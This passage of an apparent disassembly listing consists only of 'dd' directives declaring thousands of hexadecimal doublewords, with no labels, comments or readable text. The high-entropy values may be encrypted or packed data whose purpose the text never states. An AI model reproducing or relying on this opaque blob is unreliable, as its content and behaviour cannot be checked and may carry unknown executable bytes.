		dd 12E388F0h, 4B7309E9h, 8C4BC7CDh, 25E81ADAh, 58973D68h
		dd 315E3410h, 0A3F0755Ah, 4A45135h, 1D3BF317h, 16A97C31h
		dd 922ED2A0h, 0A46B1A2Ch, 0C8AC3DDCh, 1D844158h, 0A9001613h
		dd 553355Dh, 8F361D65h,	0CA9FC073h, 0C729D2D6h,	0F831581Ah
		dd 962EDB66h, 0BAFD407Ch, 82402783h, 94A3990h, 6516ED9Eh
		dd 40E44744h, 0A50B2734h, 45DAB0A4h, 56C4D4Ch, 841CE15Fh
		dd 729E3297h, 0B4F0C829h, 46B5967Bh, 0DDF0631h,	0F30B70E6h
		dd 871068F2h, 16A82413h, 630B02A8h, 22600EFEh, 0F5012824h
		dd 0E9D7892Ch, 762C825Bh, 1698C893h, 810C5144h,	26DC7659h
		dd 0E42E7B53h, 0B09C21A8h, 91CECB2h, 39D90100h,	379A74BBh
		dd 0C3417891h, 0F7C4351Bh, 0C07998D2h, 7553FF54h, 0FA263109h
		dd 0E989745Fh, 6479514Ah, 8565060Ch, 6EF011Dh, 174385Ch
		dd 42C7E1D7h, 29405A08h, 11303996h, 21B30C5Fh, 0E9DF0C7Ch
		dd 80404C13h, 527FC501h, 0BFD6851h, 0B3000873h,	0C0E3D0F8h
		dd 0F7B802EBh, 0F424454Ah, 3A7B0C0h, 0E9096106h, 285423E9h
		dd 0CE56CAE3h, 0CF8D7A12h, 0B4F91260h, 34BD1243h, 98E2C5CFh
		dd 795AE968h, 0E0352701h, 14886958h, 680564EBh,	2A8D2F7Bh
		dd 4AC6C130h, 0E32C3152h, 0E1DF24E7h, 12D0F180h, 0B259CE88h
		dd 0D250DE21h, 0C303F448h, 4C6035B8h, 38F4EBB0h, 62C84AF4h
		dd 8E9060Ch, 0B30F0A74h, 29536609h, 312BC1F8h, 0D333E695h
		dd 8357E330h, 870D01C2h, 8D7F7FAh, 5D784A40h, 3128766Ch
		dd 7C322FF2h, 0DC1A824Ah, 42A5EEC9h, 5A32A405h,	0D83064BDh
		dd 5EE6E913h, 4080CEBEh, 5B02964Bh, 5FEE4CC1h, 0DD5F9812h
		dd 0A143283Dh, 0F820335Ch, 0A006DD31h, 61082591h, 0D3660C84h
		dd 5989C18h, 0C741C44Fh, 2B824740h, 16432D20h, 84D2470h
		dd 2D1F66FEh, 203C390Eh, 0A6072805h, 747FEA1Ch,	8B723B15h
		dd 1E51BCCh, 3B594087h,	8258830Fh, 4645B3Eh, 8C567C70h
		dd 0AA7A8057h, 6F1F6048h, 8329F4E9h, 2D4D2E02h,	0FE9F4016h
		dd 0D7018159h, 263B82B9h, 0F4417B0Fh, 2160FE61h, 1B0D16C5h
		dd 0CB640611h, 0EF005383h, 653C8F4h, 775F5957h,	0BBE93D29h
		dd 924537DEh, 0AEC806C0h, 1C24BCB9h, 0F1011A29h, 37BE7999h
		dd 2D248E28h, 9170B01Bh, 250E5210h, 86B7E581h, 93E6F2Eh
		dd 7F0293Fh, 0B8045216h, 987FB031h, 63E93C0h, 0E94950F0h
		dd 503D0E6Ch, 1CDA2944h, 1C080Dh, 0CD015814h, 0ED007E90h
		dd 9472799Bh, 0C96928E9h, 4AC65D62h, 45419090h,	0B8520960h
		dd 50D30211h, 0DCF668B4h, 21B182C1h, 2C5A2C06h,	712CE559h
		dd 8B6E8583h, 0E96A2829h, 5BB09507h, 1803006h, 68E6EFCFh
		dd 3D505311h, 1A9F0C68h, 21250C29h, 0C490F327h,	0CB02C306h
		dd 70E5E71h, 68BE49CEh,	0A8FFCF29h, 0F4C9008h, 39804021h
		dd 275FEE80h, 2909F08Eh, 610DE9F3h, 0EF8BA3Ah, 53F48D6h
		dd 0BCB85825h, 545E555Ch, 806C7B39h, 80D025C9h,	84D87BEh
		dd 0A30E7CDh, 8805400Ah, 666ADE77h, 51127939h, 7B780201h
		dd 0BF93C3Fh, 6860022Fh, 544C4B11h, 25FBA820h, 0FB65F130h
		dd 3437BA88h, 0F7A78CF8h, 27485FB8h, 3B88818Ch,	0C45842C3h
		dd 88B84B50h, 4001EEE4h, 0E90E136Dh, 0B02806E0h, 5C0BE80h
		dd 0A496D642h, 15E55792h, 9152E830h, 1627206Ah,	55DEF01h
		dd 4F1206CDh, 1B2B5425h, 0EBB3ABE0h, 8FEE800Ah,	5D398F28h
		dd 945B2FB6h, 40D0FEECh, 5F04B957h, 412FBB42h, 67AE6F80h
		dd 0FE236020h, 66370A0Bh, 8E87E92Dh, 0B1A4D24Eh, 0A70C69B4h
		dd 7800F879h, 0BF19521Eh, 310BCB7Ch, 0FD018282h, 3BC597C1h
		dd 19E9FF70h, 8068AA6Bh, 0E07639D8h, 0BCAAFC6Ah, 0C1932561h
		dd 0BB0853E2h, 894C00CBh, 0C24E2F35h, 0F13A0340h, 0E0D34E8h
		dd 0DC43E330h, 3A3332E9h, 64AF44FFh, 0AABDC780h, 39C3A54h
		dd 0B1C1393Fh, 7778AA06h, 49E90FC8h, 3475A77Eh,	2090C1A7h
		dd 10CC683Fh, 0B268B59Ch, 54E662h, 55AD029h, 0D549400Eh
		dd 0C639A26Ah, 0DCA41D7h, 425456CBh, 7CB9FD40h,	20FF9864h
		dd 0B025C0Eh, 40840FC0h, 364D21Dh, 0FEBB5328h, 298A2169h
		dd 76B924DAh, 5700E5A0h, 8126B752h, 43D3E6h, 0DEF70CFBh
		dd 6801EE83h, 0B514B031h, 0E5AADC95h, 991B5D97h, 48363550h
		dd 0CC806E69h, 89A913EFh, 7320F74Ch, 0F822740Dh, 16CD0C63h
		dd 0CA8139F1h, 53360444h, 6E007B4Dh, 7487691Bh,	919E7AE9h
		dd 685EC0B5h, 0ABAC24B9h, 0C9600245h, 4BD4EE9h,	0C0D3F702h
		dd 0B84D6456h, 91295E7Dh, 2C1E8F82h, 0D0C0CD0Ch, 535D3754h
		dd 854E3B3Ah
		dd 2798C351h, 11502904h, 0E9028344h, 0D056E74Fh, 0B07003BEh
		dd 41CB0177h, 9928088Ch, 3EE8E9A1h, 4BAC9509h, 53DE2462h
		dd 885107DEh, 59EE20DDh, 0E61C805Bh, 7D93E94Bh,	26451D64h
		dd 64E406DFh, 84011892h, 23350C28h, 9769222Ch, 2680C3Bh
		dd 69BFFA4Ah, 0BF0FDB10h, 41115F06h, 481EEA05h,	0AF097982h
		dd 0AC48795Ah, 0EDBAA58Ah, 91AD9051h, 0B650171Ch, 3D5D32B8h
		dd 41270120h, 2052C861h, 0BD806720h, 164F0757h,	0C2454D59h
		dd 0E7A51518h, 84BC0DFh, 0A685C1Fh, 6602F40Ch, 0E0F88936h
		dd 0E658C117h, 2AD0C8CAh, 0CD4D192Dh, 0B4D2316Ch, 0B1BAB63Ch
		dd 5446BF03h, 8BBA58EAh, 0E0A4A57h, 0C0FF5610h,	7D2B1FF9h
		dd 4136EBEh, 3CF19AD3h,	51660B2Ah, 685D7FA0h, 989E4E9Bh
		dd 0EFA05367h, 0C6DA866h, 527FE95Bh, 9790D693h,	0D111D80Bh
		dd 13A38524h, 2C68BCE0h, 2A683947h, 0B25248B6h,	15C5610h
		dd 0CA6DCEBFh, 0FA92013Bh, 0FD192455h, 802F1FF4h, 67095813h
		dd 98D77367h, 14870C83h, 358842B9h, 0A868051Dh,	4C84D91Eh
		dd 18BEC1AFh, 23C62393h, 78C54996h, 81011A48h, 0CE03F8F6h
		dd 0F7E87101h, 4071C781h, 1C4888D7h, 39996051h,	0F26B8AA7h
		dd 49D00580h, 4889F66Ah, 0E9B0BCC6h, 848244F9h,	20B8F319h
		dd 22025D2Fh, 0F963E1C1h, 7E18F4A0h, 0CE01A805h, 6AACD8E9h
		dd 582E6543h, 0AF68C1C2h, 41302A5Ch, 13950441h,	3EBC140h
		dd 565EF3FBh, 90B70BCBh, 3A247872h, 0A4010D90h,	0C1259360h
		dd 98FF02E7h, 60E02182h, 0B1CF649h, 87A06443h, 8E247F2Dh
		dd 2BC666Bh, 3698E9B4h,	0E2827629h, 310345FAh, 50D2BAF1h
		dd 275B7081h, 68C05AF5h, 0CC03B753h, 0EF80D7F6h, 67E79972h
		dd 0F689CFD8h, 4EC7F6DFh, 0B167280Ah, 0A304904Bh, 79E77042h
		dd 232A247Bh, 0F1C151EAh, 4D8F7C07h, 4B3905E8h,	81017481h
		dd 5AAE7918h, 76016C43h, 80CF0037h, 0E97D1746h,	0A4B542ECh
		dd 0FFAC93E3h, 52A7345Bh, 281DA5C5h, 0BDFA8482h, 5AD9800Eh
		dd 5497D7C1h, 87038158h, 0DAEA5040h, 5A488F68h,	66D3DFBEh
		dd 0A9BBC8B0h, 518ADC70h, 2655ED81h, 80716EEh, 4813DD09h
		dd 677B4DF0h, 50EF2DDAh, 294C8C70h, 880459Ah, 284ABCE9h
		dd 8B4BB58Bh, 5B9259BEh, 49626752h, 153A353h, 0A21CF2D9h
		dd 0A15EE90Eh, 361968A0h, 0D0A4F16Ch, 0BF6A4802h, 2E463D26h
		dd 8C44123Ah, 5EF20905h, 22E8D600h, 27E979B0h, 606C56A6h
		dd 9851C120h, 9C054AEDh, 2295D288h, 0F9BD3187h,	0C254C426h
		dd 0D57C7063h, 8B09E22Ch, 0A0A4796Eh, 0F1C6A06Ah, 0CE2C045Ah
		dd 8204C828h, 0BFD8EED6h, 6805C7B6h, 31C829DFh,	9F64629Ch
		dd 9368BCF1h, 0DB93087Ch, 707DF002h, 0F4D84173h, 0DF010D89h
		dd 0A84EBC85h, 4DB90342h, 0D3190E7Bh, 0BDE900D0h, 2E765697h
		dd 0ACF8E829h, 0FF442492h, 88DE4112h, 96564D2h,	1265D129h
		dd 59CF3104h, 2BC11087h, 0C815B18h, 4A4B3246h, 311A6029h
		dd 0C28FB3B7h, 0AA6640C3h, 4B29D3Ch, 959C13C5h,	9AB54D2Ah
		dd 5D2094C3h, 0B92545Bh, 55643D9Eh, 0C2095C03h,	0F250E2D1h
		dd 5860C961h, 3328326Fh, 631AB86h, 0EA5C0DC9h, 62937964h
		dd 66010253h, 63CEF029h, 0BBBEB099h, 41E5B035h,	0E462831Dh
		dd 0D9021712h, 37324A9Fh, 0A0D3D29Eh, 6F925F6Ch, 6F401298h
		dd 3EA0FC0h, 0AB45C2FEh, 0C05B1718h, 171109FEh,	77985148h
		dd 0C6483F5Ch, 8462835Ch, 0B9AB9834h, 995596D8h, 0E6296A92h
		dd 5C319502h, 930847CCh, 133B7DBBh, 0DE1D96C6h,	68B78D22h
		dd 11FB8E3h, 2526C577h,	41511843h, 5794888h, 0FC7F9905h
		dd 0F4DA1CA8h, 0E90549F9h, 9328207Ch, 43D15A21h, 4CE95757h
		dd 0F70625CEh, 47BA77B2h, 3D490B0Ch, 5004069Fh,	8B478007h
		dd 0E302A3CEh, 74E9FE31h, 2535D902h, 6E5F2522h,	7EAD6801h
		dd 1CCBB728h, 0BF472351h, 14032651h, 12470260h,	0C06EFC1h
		dd 0B62C63D5h, 18711A48h, 575761D7h, 40F0864Eh,	873BE989h
		dd 50B21BCFh, 3E2451D4h, 3F49A30Ah, 0DB454049h,	0EE018014h
		dd 4A305D58h, 2A29E209h, 1340100Ch, 24386468h, 810FFBE9h
		dd 0AD7FC205h, 0C7512025h, 3F727BD5h, 0E84C01h,	4C3D0516h
		dd 492BE951h, 0A5962B50h, 2AE3F536h, 0F1056100h, 906A5B72h
		dd 18360028h, 0CD811FA1h, 8FA5E41h, 0D100C5ECh,	3142A9AAh
		dd 7C255DE8h, 6DDF00EEh, 1652F035h, 995AE967h, 83ADEE02h
		dd 201427Fh, 221A6DCDh,	152A27B9h, 22FA5419h, 0A801F1F2h
		dd 2C024519h, 0C1E91FF6h, 4450A06Dh, 4C2EB15h, 8959CA31h
		dd 2F2A89D7h, 8D044B64h, 691C8E9h, 3323C87h, 0DDDFC99Fh
		dd 0AB2BCACCh, 0AF2F971Fh, 0C65DA6A7h, 902DB02Ch, 0C8ECF804h
		dd 770BE011h, 27EFD179h, 0D5A6D096h, 9658C62Fh,	41F69857h
		dd 2228D9B9h, 15D23721h, 0AC61C3D0h, 1D019E15h,	1A5B0A6Ch
		dd 2344A5A0h, 0F605D816h, 2AA80D11h, 0E09B0A2Ch, 0EBA5200h
		dd 0F272D55Bh, 3E98A0EAh, 21688069h, 8496074Dh,	0B2CF3FAFh
		dd 9C4B2550h, 3DEE4A78h, 5066A454h, 8B0286ADh, 1000B9C5h
		dd 3A50535Eh, 0BC201E57h, 0CBB2CB15h, 0CDC680A0h, 31057B25h
		dd 0D3215BDAh, 1CF3F103h, 532C8170h, 0A193C0E2h, 0EF3A9EEBh
		dd 882F496Bh, 3B3C0770h, 0A5C47671h, 41D63FCh, 0A028D20Eh
		dd 5B0F0D52h, 4539464Dh, 25DC44CFh, 4182258h, 0E4B90C2Dh
		dd 15DDF12Ah, 35164A77h, 27B8E318h, 8B240931h, 81B66F79h
		dd 30DCB652h, 34B230F7h, 0D9E44BD3h, 88D04E26h,	4E2668EAh
		dd 56604907h, 2E43C1BEh, 249F0A12h, 2F601094h, 0C74D6809h
		dd 7B323F42h, 5D78EB1Ah, 0D0C4EF22h, 0EFA091E5h, 0D802D29Bh
		dd 0DE716EE9h, 5D888B77h, 149D7A6Ch, 92E91210h,	79E7613Dh
		dd 48D22942h, 2A02742Eh, 919FFFBh, 9846E3CBh, 5CD736E6h
		dd 0B830321Fh, 2B13ED9Bh, 0C067DC34h, 0D220EDE1h, 7F3948A0h
		dd 0F22DDAC1h, 0BEF41715h, 0F834DC91h, 0C575DEDDh, 5634533Eh
		dd 7A4088DBh, 0AF75840h, 5EDC1D5h, 0FB902ACh, 9940422Bh
		dd 4F5878CFh, 10C2616h,	2887ACh, 0EDD144Fh, 0E95E5783h
		dd 2C60C5FFh, 0E509834Eh, 0E6C10F39h, 0D4EB4E05h, 8C0735ABh
		dd 6D8929F9h, 0DF4EB451h, 0FA15E700h, 0AEAC12Eh, 1210E907h
		dd 8D0E6BE4h, 8822B017h, 0C55ECB77h, 0E0C86FC5h, 60FE841Ch
		dd 4E280640h, 179545E5h, 0D6CEE90Ch, 23B64F06h,	0EBC8AAD7h
		dd 0CB40EA26h, 0BAE6EB80h, 0B8A1C8A2h, 301700F4h, 6F102D44h
		dd 0D1070627h, 5D0F7E8h, 7F322530h, 25AEC48h, 0E9135F3Dh
		dd 0E0487597h, 6DB2B758h, 0FE1C40h, 7EFC0CFh, 2081B151h
		dd 501F59F0h, 0CC83B3B4h, 9812C480h, 5FE9E4ECh,	5B210242h
		dd 11D4F189h, 1F4F2150h, 32E9591Ch, 165AF769h, 29131B66h
		dd 0A5FAC636h, 0E81C3976h, 0A483BA2Ch, 0F2C33059h, 1E4450F4h
		dd 901F180h, 6E1B73E2h,	0EC1E19Ah, 0E9FF5575h, 90F4D6A8h
		dd 25B80E50h, 4762B2Eh,	0EE57CDh, 0FC3212BBh, 83215B10h
		dd 3EC0ED10h, 809D70CFh, 4F11F519h, 91C1355h, 7E69A3E9h
		dd 68BEBBF0h, 0C8F0AD3Eh, 1256E2AFh, 0B1DDF27h,	0D39473AEh
		dd 0C7892D4Ah, 0FD54D17Dh, 0A4009723h, 6866DFF6h, 90B1CF79h
		dd 0F0F8880Bh, 0EED6FEA1h, 125A7AF0h, 0C34DE9C7h, 80C858D2h
		dd 0EBE6B8C3h, 29874E4Eh, 0AE800289h, 3660537h,	0C82850EFh
		dd 63D00AB5h, 7866A79Dh, 4696CA99h, 0FE5AE8D2h,	10686306h
		dd 0C1EEECA5h, 7E8877A5h
		dd 0B3DA3160h, 0C5CC2CFAh, 2E298154h, 681148C3h, 92E9D049h
		dd 5BB164A8h, 0F8AD0303h, 91482BBh, 0D3F70D7Fh,	0BEC2D20Ah
		dd 0C385CCCFh, 0DF32CB41h, 9506E480h, 6126E92Ch, 0BA9672D6h
		dd 0C10073E2h, 45FA5C11h, 0F3A2D101h, 0D460809h, 690786C0h
		dd 39313A2Bh, 0C8825BD9h, 7B8D6859h, 10E66AFh, 176AA716h
		dd 12F2F021h, 0AA8A5126h, 0B3D5C4C6h, 187B1FC2h, 0C7C16062h
		dd 5F1E3C2Dh, 29F705F6h, 0A05A6771h, 0E92C51FAh, 14AFB880h
		dd 0ED40B0E2h, 0AC923A3Ch, 0EA62B7F8h, 0BBA09002h, 0F197CE47h
		dd 0BC7920E4h, 0F7C799D9h, 586C68F4h, 0B8D29344h, 0B5291737h
		dd 0F438FC73h, 100AAE12h, 0B32C9909h, 7D4FF11Ch, 18E902F5h
		dd 808F0625h, 0CF450768h, 0EC587702h, 200BE42Fh, 90975520h
		dd 8AFE0107h, 72EA7341h, 0D07ECB59h, 828AB4CCh,	64820ED0h
		dd 3A20CC64h, 0AF70C14Eh, 60192F68h, 6C10B409h,	15F6DE3h
		dd 0C03096DBh, 5E8E477h, 0AD0B0590h, 0D965BD09h, 0E908029Eh
		dd 0B0714C9Eh, 0B8BD96AAh, 5AB668E8h, 0DD523167h, 0BF5700DFh
		dd 167074CDh, 0D8FA2128h, 444ED509h, 5159FC21h,	83878172h
		dd 0E4D169E9h, 2668808h, 0FF8F022Dh, 0AF856F8h,	6B7CF85Dh
		dd 0C23C054Ah, 0C659B049h, 6286963Dh, 0C2515DE9h, 80A06843h
		dd 35583437h, 0A20DA435h, 5195C5AFh, 16997A21h,	0DAC4387Ch
		dd 0DEEDACDCh, 12B3B17Bh, 7BF830h, 0AEB25253h, 0DBFED488h
		dd 0F1B03B9Ah, 0B7532D00h, 2E7C064h, 0CFF73980h, 15BDC797h
		dd 8917ACFAh, 4B288AC5h, 41D81710h, 57258B55h, 15189654h
		dd 7F062668h, 0A4BF848h, 1B983318h, 0D4E0631h, 2EE97598h
		dd 8A1CE5A1h, 47302C7h,	0A4BB0F66h, 0F3DF8686h,	0F3B4C2Ch
		dd 8629424Ah, 0B918B67Bh, 604C088Ah, 0F64D763Fh, 4C55421Ch
		dd 0CC01107Ah, 0D3E1324Fh, 6D965011h, 2F31B258h, 31DD9959h
		dd 0F133BBBDh, 0EBA3249h, 5A18C3F4h, 82E3CE64h,	46479471h
		dd 33CEC671h, 0C806921h, 32F97445h, 0E912F389h,	2460426Ah
		dd 40122338h, 0DDF3C72h, 0E227C39Eh, 0CDCC401Bh, 3642247Dh
		dd 0A3723C30h, 1C31E908h, 6FB95D6Eh, 0B2DD6A90h, 0E27C0D9Ah
		dd 0B160218h, 600C130Ch, 64C2B289h, 3C4A576Bh, 56741EC2h
		dd 0C81B25E3h, 68404F50h, 187EF525h, 2E3BA4E6h,	2CE37940h
		dd 44DD2451h, 2046B2EBh, 6347FE1Ch, 97C71F12h, 51443188h
		dd 1D1FB971h, 0E1012D77h, 69C9207Ah, 32BFE083h,	0C0E6DD8h
		dd 44506AF3h, 0A3C0D9F7h, 0E3B2616h, 59CA01E6h,	0E78EFA69h
		dd 18AD4401h, 79A305Fh,	51E93C94h, 21454AA6h, 66C389F9h
		dd 40156456h, 7E09569Dh, 55E1F72Eh, 0CB332609h,	293DD3Dh
		dd 58332527h, 4803B5F1h, 26063D02h, 3B70830Ch, 20E5A14Ah
		dd 4AEAC15Fh, 0CD593824h, 5D73495Ah, 79300A49h,	0BF4340E4h
		dd 9C053A09h, 0B1D18065h, 2B5AE812h, 8726C729h,	3405E7C1h
		dd 3DA4C1EFh, 35A981FFh, 34AB67A5h, 65245AEDh, 0FEC516B2h
		dd 5D30C2CAh, 0D0806D54h, 619D942Dh, 4A84F8F2h,	27E44905h
		dd 0C30687FAh, 381F0335h, 3E32090Ch, 0BA8A0BA2h, 0D0082008h
		dd 0F74C140Ch, 33C4E11h, 0ACF6C0EDh, 0E0BDB3Fh,	41E58091h
		dd 0FE5FC561h, 0BDEDE0CDh, 14D5F630h, 6594E987h, 8CBA2AE8h
		dd 19F5EE6h, 5F02984h, 58C861F0h, 648E980Dh, 26CEED92h
		dd 61C7CB01h, 0EC5038FCh, 83F0637Ah, 632E3C6h, 23663CB6h
		dd 6F1147F7h, 0EE75EEC5h, 34AFB7FCh, 0BD2B5560h, 0C6780120h
		dd 0AC0844E5h, 5081DE98h, 0B81DC868h, 0E01F40FEh, 2D480106h
		dd 0EE0771FBh, 0D6FCFAE9h, 181EB526h, 1B01A009h, 254F7BC3h
		dd 4C5936B5h, 0B0D7E5EFh, 850DE620h, 62F23458h,	29DDE052h
		dd 0F810D801h, 26E9D001h, 0B659B238h, 53BC825Eh, 810F520Bh
		dd 5E034A86h, 0A55B3C2Ch, 66F3303Ah, 0B0874C88h, 1B4B9Ch
		dd 86D7F6F4h, 0E17BD0F9h, 0B312694Fh, 5E7B7CF3h, 0BF4F803Eh
		dd 0C6272D51h, 98F40A9h, 0C15D09EBh, 0D97806E3h, 41511827h
		dd 0A9A474F0h, 9AC1010Ch, 0F40EA54Fh, 26BE2037h, 27285669h
		dd 0B457CB62h, 0B3772035h, 6BB20D05h, 8E022085h, 589C7F74h
		dd 0A3EE4BDEh, 0E010C989h, 73215D0Dh, 4AD1F2EAh, 0D738E45Ah
		dd 7E901C4Ch, 515BDF25h, 282A435h, 5C097F42h, 0E1C17060h
		dd 0E9520609h, 5048297Ch, 0D7829057h, 0A35F34Eh, 72575AD7h
		dd 6089E90Bh, 3C4FE41h,	5247F480h, 2EE9E688h, 0E34DA7BAh
		dd 1BA8A51Ah, 24E90840h, 0A77FAFC6h, 54FF280h, 499746C4h
		dd 0F04257D3h, 24C6CEB2h, 6E460F42h, 6ED4E369h,	5A505251h
		dd 425AD529h, 7A944055h, 4BB1D40h, 29670CEAh, 0EF97C043h
		dd 3E00C20Fh, 0C15FFB01h, 0E5E905EBh, 625A417Ch, 0EC78671Ah
		dd 10DEBB05h, 0B51F3606h, 0A5C21512h, 8CA7166h,	310EE1AAh
		dd 102CE5C8h, 2EAD5DA8h, 0BFC745D8h, 1DE6F628h,	1CC644DBh
		dd 408EAC01h, 0F14DE908h, 0CA050265h, 62419177h, 0B5C50C2h
		dd 2516DCBFh, 0CB07C670h, 0E9637040h, 1C900AF4h, 25C076B3h
		dd 366504E3h, 806EB600h, 62F601EEh, 0B55104D6h,	0CDAF9F60h
		dd 0D2F3B3BDh, 6222578Ah, 0F3D4D030h, 96E0EECFh, 0B9D306C8h
		dd 0AEBC08CAh, 89036724h, 0B0713179h, 96A53F6h,	1FE948CDh
		dd 9FCEE742h, 4A585253h, 8414FA98h, 2B7DE910h, 0FF3CE848h
		dd 0BC720612h, 603DCB5Eh, 5BF00178h, 7402485Eh,	0EEC38084h
		dd 5FC994B4h, 446BCC16h, 0AB36E84Ah, 500FE819h,	844B71A3h
		dd 0B66E5B6h, 0CE011761h, 63AE8A59h, 22C138E7h,	87B62944h
		dd 3F81F664h, 1A8FF78Eh, 0D42CE786h, 2AF48008h,	285A8297h
		dd 95A2D0F8h, 0B04C2816h, 59C887F4h, 0A7D86882h, 0C4F4C186h
		dd 2DD0C9D7h, 98F41691h, 84B34F18h, 0F55C01Ch, 59B802B6h
		dd 9077A027h, 0C0ADD174h, 4C6AC5F5h, 0E5974AB0h, 7FE04B0Fh
		dd 0F1093DF2h, 0EED53128h, 0F2AFD411h, 0C52F014Fh, 2A74C08Dh
		dd 3B6F59C3h, 289AF31Dh, 175C82D4h, 10325279h, 384C5A2Fh
		dd 92072125h, 904D60CAh, 9A1197EEh, 418B3A59h, 0CC39FD17h
		dd 48E66F9Eh, 5FE92E13h, 50B2F0h, 0E28867B4h, 66D13058h
		dd 0C84A5A74h, 0C748248Bh, 802E3624h, 0F39DEB9h, 0E1078165h
		dd 138B2CC8h, 3098C960h, 0F72514FEh, 231C8FD1h,	0E9DA05C7h
		dd 0B015902Bh, 9D482C06h, 6E112EDCh, 8A0ABE26h,	0F6818ED9h
		dd 6E6A44B1h, 5D0E0C85h, 0F1AB80D4h, 0E926515Eh, 17AED978h
		dd 866922A9h, 0F136492h, 0D7F7FB87h, 540462Bh, 77E8E2D1h
		dd 8F51240Eh, 594B9947h, 0A32D4C39h, 805BF400h,	38986FF6h
		dd 0CE33D076h, 0BA7C12D8h, 0A78FE0E6h, 9EB63552h, 0F00C8022h
		dd 2CE6285Ah, 67B05475h, 2E50CD5Dh, 2A0BF666h, 0E26C0E7Ch
		dd 0C12BDFBBh, 5BF9DD44h, 0C49A062Eh, 0C15E344Fh, 5463CC44h
		dd 0D5B45909h, 0EE25E694h, 0B0FBA42Ch, 106B4D3Bh, 562A2685h
		dd 544A0496h, 0D75B0AF6h, 0E54D803Bh, 34EB8164h, 29923B36h
		dd 5761E300h, 0E94B3303h, 5A6EB825h, 0D7C9EF18h, 35798E66h
		dd 0A55276h, 0E720A449h, 0D4A55811h, 5F0FB994h,	0C5F0FB81h
		dd 34B2F981h, 0CC17F280h, 0D3E042C2h, 0E9DCADA0h, 2A3C35EBh
		dd 0A9D50F8Ch, 0C6805DD9h, 7F5A1508h, 4E55F768h, 0CFAF3038h
		dd 0FE9C7E3Dh, 9170B92Dh, 0BD3C596Fh, 0A2B990D2h, 9D50CFA3h
		dd 7804DC88h, 0ADE9478Bh, 0FEB4FA91h, 0C162AC60h, 0F69CB60Eh
		dd 2C0C20DEh, 82B0304Eh, 3C15BAB2h, 955BD001h, 0C207007Dh
		dd 0E95E7E70h, 0C437BF25h
		dd 0E58012C6h, 6C8C0203h, 4F45E828h, 1E4A6508h,	0BC5A5252h
		dd 0EEAF40E2h, 35194509h, 49C4F464h, 393065Eh, 983156B1h
		dd 7C34A221h, 9CDE5829h, 16A0DA20h, 0C08251B0h,	3D197FCFh
		dd 96A50220h, 0CE5BA305h, 16474811h, 4AC8382Eh,	555B2568h
		dd 77A47F45h, 0E1A7781Eh, 27E1D8Ah, 59EB2879h, 0C297CFCEh
		dd 718055C9h, 0AAF2E987h, 9D0A2CD6h, 2C8F8145h,	8BF8EBE1h
		dd 6FB8CB8Fh, 4D6B0253h, 0EFC0AAE0h, 72F7A9A0h,	2576CFE6h
		dd 0E983C709h, 3BD55862h, 0C0A582B3h, 2CAC6380h, 3FB00496h
		dd 4F231F2Ch, 6ED437C3h, 6A206C89h, 0C50150E8h,	885CAF1h
		dd 8668B858h, 49D63B3h,	9F0B31F2h, 4B87C232h, 0E2C3268h
		dd 0C684F4A2h, 893109F1h, 3B777CF3h, 38AEC33Eh,	0FD0192F4h
		dd 0CA957FECh, 1DAB5FC3h, 0E925D4F2h, 0B016E89Dh, 0DB84823Bh
		dd 0C3FE031Eh, 2CAEE050h, 606BF8AFh, 0C8BA182Eh, 607623Dh
		dd 4204E2C1h, 1503D71Ah, 4189246h, 8835800Ch, 7C05BB4Dh
		dd 0B6B2D86Ch, 1392B800h, 0E0C166CAh, 63F035F2h, 100EC832h
		dd 9BE4007h, 0E9557569h, 56812C7Fh, 849E97Ah, 9D855A97h
		dd 0F059BA22h, 412B2A99h, 210C5DFDh, 58545009h,	0B5CA457Ch
		dd 39B6E905h, 0F72CCCF7h, 804B1645h, 0FD876644h, 35965F90h
		dd 8FB55F13h, 0E8844C63h, 0F95D0B68h, 27D3AE51h, 6059F810h
		dd 0EB277D93h, 0B1E6E980h, 8957669Dh, 0ED60DD9h, 0E2C8F26Fh
		dd 0E3F94F11h, 7DD4EE3h, 43B4E0Dh, 4711C99h, 8DFDBAE9h
		dd 5EF2EE51h, 19662721h, 79CC504Eh, 0B4EBF453h,	85222CB8h
		dd 0E322E2E9h, 6856043Bh, 6BA21FD5h, 0B4E92398h, 0C9351D5Ch
		dd 4BAEC051h, 264D7A4Fh, 0FA75AD1h, 66E25F12h, 0F95C74E9h
		dd 29C5BA24h, 214804C1h, 0CDEF403Bh, 5F2214B0h,	9025E5ECh
		dd 0EDA8404Bh, 0EC04EC8Ch, 10E42CE9h, 0FAEF41B0h, 2BB7029h
		dd 0D3A9329Fh, 4E8310F0h, 0E4389CE6h, 0E50467C9h, 0EC6CD468h
		dd 247DCE7Fh, 37EF46B9h, 60EA6796h, 1741CA81h, 7921543Bh
		dd 0B06AA517h, 2EC24104h, 1D80105h, 0AE31BD88h,	0DEFD301Dh
		dd 47642C70h, 28805AF4h, 4F446B0Ah, 53E0116h, 97F2657Eh
		dd 15C11ECEh, 0DEC5B2Dh, 0C58924A3h, 67A02FDDh,	3E79E6F2h
		dd 9B2AEDB8h, 88395D0Bh, 5AD716C2h, 0F63E918Ah,	0CFFE0460h
		dd 8A92FFE9h, 2B52AD26h, 6226A602h, 202F653h, 4E8C5599h
		dd 0E9C9EBE3h, 88CC3BB1h, 6C9709BDh, 0E2027D91h, 22C45CAEh
		dd 0BB57DB0Fh, 0F127F43h, 2D68C728h, 4612107Ch,	3B5ED811h
		dd 0B30F1D21h, 0F0175B2Dh, 0C57C90A7h, 670B3A5Ah, 2E821BEh
		dd 77E6750Bh, 7E68C3B8h, 72316655h, 0B0B8B4F7h,	52B44A16h
		dd 77DBD92h, 64167DC7h,	0F510DA95h, 5AE93C08h, 0CE888D81h
		dd 0C7DED822h, 0C15A66F0h, 347CE9B0h, 8ABC59E5h, 7AF6D809h
		dd 394A00CDh, 0BA2D69FBh, 5500AE7Fh, 0B45C4005h, 0F9E8290Bh
		dd 11CA0747h, 39E85D12h, 0B079E909h, 0EE2742FAh, 45F49418h
		dd 0D0FE6DF5h, 4EE74DEBh, 54527B40h, 18B8505Ah,	94823DDEh
		dd 41161CF2h, 0DF19E976h, 823F6452h, 0CCAB24B6h, 15E1ABB3h
		dd 0F1878234h, 5CE53F97h, 0FEE228E7h, 77061883h, 5AB21E18h
		dd 0A51E5B3Dh, 684F017Eh, 0CA3A3715h, 0A1454BBAh, 9C20E5EBh
		dd 14CDB536h, 88EF89A9h, 8816F829h, 660ECE3Eh, 51ED1259h
		dd 0B2528D9Eh, 0D382F26Ah, 44C1D828h, 9E0D3CBBh, 0FFA06E16h
		dd 5334B658h, 0C5832505h, 0DEC0C101h, 156D5F7h,	920E47BEh
